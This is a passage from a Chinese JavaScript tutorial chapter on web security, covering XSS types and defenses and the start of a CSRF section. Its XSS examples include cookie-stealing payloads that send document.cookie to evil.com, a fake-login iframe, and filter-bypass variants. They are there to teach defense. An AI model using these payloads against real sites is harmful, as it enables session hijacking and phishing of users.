JavaScript|第42章:安全与最佳实践

JavaScript|第42章:安全与最佳实践

安全

  • JavaScript|第42章:安全与最佳实践
    • 引言
    • [42.1 XSS(跨站脚本攻击)原理与防御](#42.1 XSS(跨站脚本攻击)原理与防御)
      • [42.1.1 什么是 XSS](#42.1.1 什么是 XSS)
      • [42.1.2 三种 XSS 类型](#42.1.2 三种 XSS 类型)
        • [反射型 XSS(Reflected)](#反射型 XSS(Reflected))
        • [存储型 XSS(Stored / Persistent)](#存储型 XSS(Stored / Persistent))
        • [DOM 型 XSS](#DOM 型 XSS)
      • [42.1.3 XSS 攻击载荷示例](#42.1.3 XSS 攻击载荷示例)
      • [42.1.4 多层防御策略](#42.1.4 多层防御策略)
      • [42.1.5 XSS 防御检查清单](#42.1.5 XSS 防御检查清单)
    • [42.2 CSRF(跨站请求伪造)原理与防御](#42.2 CSRF(跨站请求伪造)原理与防御)
      • [42.2.1 什么是 CSRF](#42.2.1 什么是 CSRF)
      • [42.2.2 攻击示例](#42.2.2 攻击示例)
      • [42.2.3 三种防御方案](#42.2.3 三种防御方案)
        • [方案一:SameSite Cookie(推荐首选)](#方案一:SameSite Cookie(推荐首选))
        • [方案二:CSRF Token](#方案二:CSRF Token)
        • [方案三:检查 Origin / Referer](#方案三:检查 Origin / Referer)
      • [42.2.4 CSRF 防御方案对比](#42.2.4 CSRF 防御方案对比)
    • [42.3 CSP(内容安全策略)配置](#42.3 CSP(内容安全策略)配置)
      • [42.3.1 什么是 CSP](#42.3.1 什么是 CSP)
      • [42.3.2 CSP 配置方式](#42.3.2 CSP 配置方式)
      • [42.3.3 常用指令](#42.3.3 常用指令)
      • [42.3.4 特殊值](#42.3.4 特殊值)
      • [42.3.5 完整配置示例](#42.3.5 完整配置示例)
      • [42.3.6 CSP 报告模式(调试阶段)](#42.3.6 CSP 报告模式(调试阶段))
    • [42.4 原型链污染与防御](#42.4 原型链污染与防御)
      • [42.4.1 什么是原型链污染](#42.4.1 什么是原型链污染)
      • [42.4.2 攻击原理](#42.4.2 攻击原理)
      • [42.4.3 真实危害场景](#42.4.3 真实危害场景)
      • [42.4.4 防御方案](#42.4.4 防御方案)
        • [防御一:使用 `Object.create(null)` 创建无原型对象](#防御一:使用 Object.create(null) 创建无原型对象)
        • [防御二:`Object.freeze` 冻结原型](#防御二:Object.freeze 冻结原型)
        • 防御三:深合并函数加黑名单
        • [防御四:使用 `Map` 替代普通对象存储键值对](#防御四:使用 Map 替代普通对象存储键值对)
    • [42.5 点击劫持攻击(Clickjacking)](#42.5 点击劫持攻击(Clickjacking))
      • [42.5.1 什么是点击劫持](#42.5.1 什么是点击劫持)
      • [42.5.2 攻击示例](#42.5.2 攻击示例)
      • [42.5.3 防御方案](#42.5.3 防御方案)
        • 方案一:X-Frame-Options(老方案,兼容性好)
        • [方案二:CSP frame-ancestors(新方案,推荐)](#方案二:CSP frame-ancestors(新方案,推荐))
        • [方案三:Frame Busting 脚本(不推荐作为唯一方案)](#方案三:Frame Busting 脚本(不推荐作为唯一方案))
      • [42.5.4 最佳实践](#42.5.4 最佳实践)
    • [42.6 敏感数据处理(加密、安全存储)](#42.6 敏感数据处理(加密、安全存储))
      • [42.6.1 密码存储:绝不明文](#42.6.1 密码存储:绝不明文)
        • 错误示范
        • [正确方案:bcrypt / scrypt / Argon2](#正确方案:bcrypt / scrypt / Argon2)
      • [42.6.2 Token 与 Session 安全存储](#42.6.2 Token 与 Session 安全存储)
      • [42.6.3 前端敏感数据处理原则](#42.6.3 前端敏感数据处理原则)
      • [42.6.4 Web Crypto API:前端加密](#42.6.4 Web Crypto API:前端加密)
    • [42.7 npm 安全审计与依赖安全](#42.7 npm 安全审计与依赖安全)
      • [42.7.1 供应链攻击:npm 生态的隐患](#42.7.1 供应链攻击:npm 生态的隐患)
      • [42.7.2 npm audit:内置安全审计](#42.7.2 npm audit:内置安全审计)
      • [42.7.3 第三方安全工具](#42.7.3 第三方安全工具)
      • [42.7.4 依赖安全最佳实践](#42.7.4 依赖安全最佳实践)
    • [42.8 代码混淆与 Source Map 安全](#42.8 代码混淆与 Source Map 安全)
      • [42.8.1 代码混淆:增加逆向成本](#42.8.1 代码混淆:增加逆向成本)
      • [42.8.2 常用混淆工具](#42.8.2 常用混淆工具)
      • [42.8.3 Source Map 安全](#42.8.3 Source Map 安全)
    • [42.9 实战:安全检测工具使用、安全头配置](#42.9 实战:安全检测工具使用、安全头配置)
      • [42.9.1 安全检测工具实战](#42.9.1 安全检测工具实战)
        • [工具一:OWASP ZAP(免费开源扫描器)](#工具一:OWASP ZAP(免费开源扫描器))
        • [工具二:Security Headers 在线检测](#工具二:Security Headers 在线检测)
        • [工具三:Snyk 依赖漏洞扫描](#工具三:Snyk 依赖漏洞扫描)
      • [42.9.2 完整安全头配置(Node.js / Express)](#42.9.2 完整安全头配置(Node.js / Express))
      • [42.9.3 安全头配置对照表](#42.9.3 安全头配置对照表)
      • [42.9.4 安全检查清单](#42.9.4 安全检查清单)
      • [42.9.5 完整安全加固流程](#42.9.5 完整安全加固流程)
    • 总结

上篇回顾 :第41章:性能优化实战 --- 我们学习了浏览器渲染管线(DOM → CSSOM → Layout → Paint → Composite)、重排与重绘的触发与避免、V8 引擎的内存管理与垃圾回收、代码分割与懒加载、虚拟滚动原理与实现、防抖节流与请求合并,以及 Web Vitals 三大指标(LCP、FID、CLS)和 Chrome DevTools Performance 面板实战分析,最后在实战中完成了首屏加载性能优化全流程。

后续预告 :本篇为正文最后一章。接下来进入附录部分------ES6+ 新特性速查表、JavaScript 内置对象速查、TypeScript 基础入门、推荐学习资源与常见面试题索引。


引言

功能正确、性能优秀的代码,如果存在安全漏洞,仍然是不合格的代码。2017 年 Equifax 数据泄露影响 1.47 亿用户、2021 年 Facebook 泄露 5.33 亿用户数据、每年数以万计的 npm 包被投毒------安全事故不分大小,一旦发生,代价远超任何性能瓶颈。

前端安全常被忽视:"XSS 是后端的事"、"浏览器有同源策略保护"、"我们用了 HTTPS 就安全了"------这些观念都是错误的。XSS 的攻击载荷可以藏在 URL、评论、用户昵称里,绕过同源策略;CSRF 利用浏览器的 Cookie 自动携带机制;点击劫持用透明 iframe 覆盖在正常按钮之上......

javascript 复制代码
// 一个看似无害的评论展示功能
function renderComment(text) {
  document.getElementById("comments").innerHTML += `<div>${text}</div>`;
}
// 攻击者提交评论:<img src=x onerror="fetch('/api/steal?cookie='+document.cookie)">
// → 所有看到这条评论的用户,Cookie 都被偷走

#mermaid-svg-K5KBFzIC6jpCnpfe{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-K5KBFzIC6jpCnpfe .error-icon{fill:#552222;}#mermaid-svg-K5KBFzIC6jpCnpfe .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-K5KBFzIC6jpCnpfe .marker{fill:#333333;stroke:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe .marker.cross{stroke:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-K5KBFzIC6jpCnpfe p{margin:0;}#mermaid-svg-K5KBFzIC6jpCnpfe .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster-label text{fill:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster-label span{color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster-label span p{background-color:transparent;}#mermaid-svg-K5KBFzIC6jpCnpfe .label text,#mermaid-svg-K5KBFzIC6jpCnpfe span{fill:#333;color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .node rect,#mermaid-svg-K5KBFzIC6jpCnpfe .node circle,#mermaid-svg-K5KBFzIC6jpCnpfe .node ellipse,#mermaid-svg-K5KBFzIC6jpCnpfe .node polygon,#mermaid-svg-K5KBFzIC6jpCnpfe .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .rough-node .label text,#mermaid-svg-K5KBFzIC6jpCnpfe .node .label text,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape .label,#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape .label{text-anchor:middle;}#mermaid-svg-K5KBFzIC6jpCnpfe .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .rough-node .label,#mermaid-svg-K5KBFzIC6jpCnpfe .node .label,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape .label,#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape .label{text-align:center;}#mermaid-svg-K5KBFzIC6jpCnpfe .node.clickable{cursor:pointer;}#mermaid-svg-K5KBFzIC6jpCnpfe .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe .arrowheadPath{fill:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-K5KBFzIC6jpCnpfe .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-K5KBFzIC6jpCnpfe .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-K5KBFzIC6jpCnpfe .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-K5KBFzIC6jpCnpfe .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-K5KBFzIC6jpCnpfe .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster text{fill:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster span{color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-K5KBFzIC6jpCnpfe .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe rect.text{fill:none;stroke-width:0;}#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape p,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape .label rect,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-K5KBFzIC6jpCnpfe .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-K5KBFzIC6jpCnpfe .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-K5KBFzIC6jpCnpfe :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 第42章:安全与最佳实践
攻击与防御
策略配置
供应链与构建
实战
XSS 原理与防御 / CSRF 原理与防御 / 原型链污染 / 点击劫持
CSP 内容安全策略 / 安全响应头
敏感数据处理 / npm 审计 / 代码混淆与 Source Map
安全检测工具 / 安全头配置全流程

本章目标:

  • 掌握 XSS 三种攻击类型(反射型、存储型、DOM 型)的原理与多层防御策略
  • 掌握 CSRF 攻击原理,理解 SameSite Cookie、CSRF Token、Referer 检查三种防御方案
  • 理解 CSP(内容安全策略)的配置方法与常见指令
  • 掌握原型链污染攻击的原理与 Object.freeze / Object.create(null) 等防御手段
  • 了解点击劫持的攻击方式与 X-Frame-Options / CSP frame-ancestors 防御
  • 掌握敏感数据的加密、安全存储方案(bcrypt / 加盐哈希 / httpOnly Cookie)
  • 了解 npm 安全审计与依赖安全扫描
  • 理解代码混淆与 Source Map 安全的关系
  • 实战:使用安全检测工具 + 配置完整的安全响应头

42.1 XSS(跨站脚本攻击)原理与防御

42.1.1 什么是 XSS

XSS(Cross-Site Scripting) :攻击者向网页注入恶意脚本,当其他用户浏览该页面时,恶意脚本在受害者的浏览器上下文中执行------窃取 Cookie、劫持会话、钓鱼、传播蠕虫。

XSS 之所以叫"Cross-Site Scripting"而非"CSS"(避免与层叠样式表混淆),缩写为 XSS。

42.1.2 三种 XSS 类型

反射型 XSS(Reflected)

恶意脚本藏在 URL 参数中,用户点击恶意链接时触发:

javascript 复制代码
// 后端代码(Node.js / Express)
app.get("/search", (req, res) => {
  const query = req.query.q;
  // ❌ 直接将用户输入嵌入 HTML
  res.send(`<h1>搜索结果:${query}</h1>`);
});
// 攻击链接:https://site.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
// 用户点击链接 → 浏览器执行注入的 script → Cookie 被发送到攻击者服务器
存储型 XSS(Stored / Persistent)

恶意脚本被存储到服务器(数据库、文件),所有访问该资源的用户都中招------危害最大:

javascript 复制代码
// 用户 A 提交评论(恶意载荷被存到数据库)
POST /api/comments
{ "text": "<img src=x onerror=\"fetch('https://evil.com/?c='+document.cookie)\">" }

// 用户 B 访问帖子 → 服务端渲染时把恶意评论嵌入 HTML
// → B 的浏览器执行 onerror 中的脚本 → B 的 Cookie 被偷
DOM 型 XSS

恶意输入不经过服务器,直接在客户端 DOM 操作中被注入:

javascript 复制代码
// ❌ 前端直接读取 URL hash 并插入 DOM
const hash = window.location.hash.slice(1);
document.getElementById("message").innerHTML = decodeURIComponent(hash);
// 攻击链接:https://site.com/page#<img src=x onerror=alert(1)>
类型 恶意载荷位置 是否经过服务器 危害范围
反射型 URL 参数 是(但不存储) 点击链接的用户
存储型 数据库 / 存储 是(存储并渲染) 所有访问该资源的用户
DOM 型 URL / 输入 否(纯客户端) 触发该操作的用户

42.1.3 XSS 攻击载荷示例

html 复制代码
<!-- 窃取 Cookie -->
<script>fetch('https://evil.com/?c='+document.cookie)</script>

<!-- 伪造登录框(钓鱼) -->
<iframe src="https://evil.com/fake-login" style="position:fixed;top:0;left:0;width:100%;height:100%;border:0;z-index:9999"></iframe>

<!-- 绕过简单过滤:大小写混合 -->
<ScRiPt>alert(1)</ScRiPt>

<!-- 绕过标签过滤:事件处理器 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- 绕过属性过滤:javascript: 协议 -->
<a href="javascript:alert(1)">点击我</a>

<!-- 编码绕过 -->
<img src="&#x6a;avascript:alert(1)">  <!-- HTML 实体编码 -->

42.1.4 多层防御策略

防御一:输出编码(最关键)

根据输出位置选择不同的编码方式:

javascript 复制代码
// HTML 内容区:HTML 实体编码
function escapeHTML(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

// ✅ 安全渲染用户输入
element.innerHTML = `<div>${escapeHTML(userInput)}</div>`;
// 恶意载荷被转义为纯文本:<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>
输出位置 编码方式
HTML 标签内容 HTML 实体编码(&lt; &gt; &amp;)
HTML 属性 HTML 属性编码 + 引号包裹
URL 参数 encodeURIComponent()
CSS 样式 CSS 转义(不推荐用户输入进入 CSS)
JavaScript 字符串 JSON 编码(JSON.stringify)
防御二:现代框架的自动转义

React、Vue、Angular 默认对插值表达式做 HTML 转义:

jsx 复制代码
// React:自动转义
const userInput = "<script>alert(1)</script>";
<div>{userInput}</div>   // 安全:渲染为纯文本

// ❌ React 的危险 API(需要主动调用,名字就是警告)
<div dangerouslySetInnerHTML={{ __html: userInput }} />
html 复制代码
<!-- Vue:自动转义 -->
<div>{{ userInput }}</div>   <!-- 安全 -->

<!-- ❌ Vue 的危险指令 -->
<div v-html="userInput"></div>  <!-- 危险:不转义 -->
javascript 复制代码
// 服务端设置 Cookie 时加 HttpOnly 标志
res.cookie("session", token, {
  httpOnly: true,     // JavaScript 无法读取(document.cookie 拿不到)
  secure: true,       // 仅 HTTPS 传输
  sameSite: "strict"  // CSRF 防御(下一节详述)
});
// 即使 XSS 成功,攻击者也偷不到 Cookie
防御四:Content Security Policy(CSP)

CSP 是浏览器层面的"白名单"------告诉浏览器"只允许加载这些来源的资源"。详见 42.3 节。

42.1.5 XSS 防御检查清单

#mermaid-svg-VZ7R6BCrlk3qbXwd{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-VZ7R6BCrlk3qbXwd .error-icon{fill:#552222;}#mermaid-svg-VZ7R6BCrlk3qbXwd .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-VZ7R6BCrlk3qbXwd .marker{fill:#333333;stroke:#333333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .marker.cross{stroke:#333333;}#mermaid-svg-VZ7R6BCrlk3qbXwd svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-VZ7R6BCrlk3qbXwd p{margin:0;}#mermaid-svg-VZ7R6BCrlk3qbXwd .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .cluster-label text{fill:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .cluster-label span{color:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .cluster-label span p{background-color:transparent;}#mermaid-svg-VZ7R6BCrlk3qbXwd .label text,#mermaid-svg-VZ7R6BCrlk3qbXwd span{fill:#333;color:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .node rect,#mermaid-svg-VZ7R6BCrlk3qbXwd .node circle,#mermaid-svg-VZ7R6BCrlk3qbXwd .node ellipse,#mermaid-svg-VZ7R6BCrlk3qbXwd .node polygon,#mermaid-svg-VZ7R6BCrlk3qbXwd .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .rough-node .label text,#mermaid-svg-VZ7R6BCrlk3qbXwd .node .label text,#mermaid-svg-VZ7R6BCrlk3qbXwd .image-shape .label,#mermaid-svg-VZ7R6BCrlk3qbXwd .icon-shape .label{text-anchor:middle;}#mermaid-svg-VZ7R6BCrlk3qbXwd .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .rough-node .label,#mermaid-svg-VZ7R6BCrlk3qbXwd .node .label,#mermaid-svg-VZ7R6BCrlk3qbXwd .image-shape .label,#mermaid-svg-VZ7R6BCrlk3qbXwd .icon-shape .label{text-align:center;}#mermaid-svg-VZ7R6BCrlk3qbXwd .node.clickable{cursor:pointer;}#mermaid-svg-VZ7R6BCrlk3qbXwd .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .arrowheadPath{fill:#333333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-VZ7R6BCrlk3qbXwd .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-VZ7R6BCrlk3qbXwd .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-VZ7R6BCrlk3qbXwd .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-VZ7R6BCrlk3qbXwd .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .cluster text{fill:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd .cluster span{color:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-VZ7R6BCrlk3qbXwd .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-VZ7R6BCrlk3qbXwd rect.text{fill:none;stroke-width:0;}#mermaid-svg-VZ7R6BCrlk3qbXwd .icon-shape,#mermaid-svg-VZ7R6BCrlk3qbXwd .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-VZ7R6BCrlk3qbXwd .icon-shape p,#mermaid-svg-VZ7R6BCrlk3qbXwd .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-VZ7R6BCrlk3qbXwd .icon-shape .label rect,#mermaid-svg-VZ7R6BCrlk3qbXwd .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-VZ7R6BCrlk3qbXwd .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-VZ7R6BCrlk3qbXwd .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-VZ7R6BCrlk3qbXwd :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 用户输入
输入验证

(白名单 / 正则)
输出编码

(HTML / URL / JS / CSS)
CSP 内容安全策略
HttpOnly Cookie
安全渲染

(框架自动转义)

防御层 措施 解决的问题
输入验证 白名单校验、正则过滤 拒绝明显非法的输入
输出编码 HTML/URL/JS/CSS 转义 让恶意载荷变成"纯文本"
框架自动转义 React/Vue 默认转义插值 避免手动 innerHTML
HttpOnly Cookie 服务端设置 httpOnly: true 即使 XSS 成功也偷不到 Cookie
CSP 白名单限制脚本来源 阻止内联脚本、外部脚本执行

经验法则 :永远不要信任用户输入------输入验证 + 输出编码 + CSP 三层防御缺一不可 。innerHTML / v-html / dangerouslySetInnerHTML 是 XSS 的高危入口,使用时必须确保输入已经过严格净化。


42.2 CSRF(跨站请求伪造)原理与防御

42.2.1 什么是 CSRF

CSRF(Cross-Site Request Forgery) :攻击者诱导用户在已登录目标网站 的状态下,向目标网站发送非预期的请求------利用浏览器自动携带 Cookie 的机制,冒充用户身份执行操作。
#mermaid-svg-qNMa8ORDwPbTIIZW{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-qNMa8ORDwPbTIIZW .error-icon{fill:#552222;}#mermaid-svg-qNMa8ORDwPbTIIZW .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-qNMa8ORDwPbTIIZW .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-qNMa8ORDwPbTIIZW .marker{fill:#333333;stroke:#333333;}#mermaid-svg-qNMa8ORDwPbTIIZW .marker.cross{stroke:#333333;}#mermaid-svg-qNMa8ORDwPbTIIZW svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-qNMa8ORDwPbTIIZW p{margin:0;}#mermaid-svg-qNMa8ORDwPbTIIZW .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW .cluster-label text{fill:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW .cluster-label span{color:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW .cluster-label span p{background-color:transparent;}#mermaid-svg-qNMa8ORDwPbTIIZW .label text,#mermaid-svg-qNMa8ORDwPbTIIZW span{fill:#333;color:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW .node rect,#mermaid-svg-qNMa8ORDwPbTIIZW .node circle,#mermaid-svg-qNMa8ORDwPbTIIZW .node ellipse,#mermaid-svg-qNMa8ORDwPbTIIZW .node polygon,#mermaid-svg-qNMa8ORDwPbTIIZW .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-qNMa8ORDwPbTIIZW .rough-node .label text,#mermaid-svg-qNMa8ORDwPbTIIZW .node .label text,#mermaid-svg-qNMa8ORDwPbTIIZW .image-shape .label,#mermaid-svg-qNMa8ORDwPbTIIZW .icon-shape .label{text-anchor:middle;}#mermaid-svg-qNMa8ORDwPbTIIZW .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-qNMa8ORDwPbTIIZW .rough-node .label,#mermaid-svg-qNMa8ORDwPbTIIZW .node .label,#mermaid-svg-qNMa8ORDwPbTIIZW .image-shape .label,#mermaid-svg-qNMa8ORDwPbTIIZW .icon-shape .label{text-align:center;}#mermaid-svg-qNMa8ORDwPbTIIZW .node.clickable{cursor:pointer;}#mermaid-svg-qNMa8ORDwPbTIIZW .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-qNMa8ORDwPbTIIZW .arrowheadPath{fill:#333333;}#mermaid-svg-qNMa8ORDwPbTIIZW .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-qNMa8ORDwPbTIIZW .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-qNMa8ORDwPbTIIZW .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-qNMa8ORDwPbTIIZW .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-qNMa8ORDwPbTIIZW .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-qNMa8ORDwPbTIIZW .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-qNMa8ORDwPbTIIZW .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-qNMa8ORDwPbTIIZW .cluster text{fill:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW .cluster span{color:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-qNMa8ORDwPbTIIZW .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-qNMa8ORDwPbTIIZW rect.text{fill:none;stroke-width:0;}#mermaid-svg-qNMa8ORDwPbTIIZW .icon-shape,#mermaid-svg-qNMa8ORDwPbTIIZW 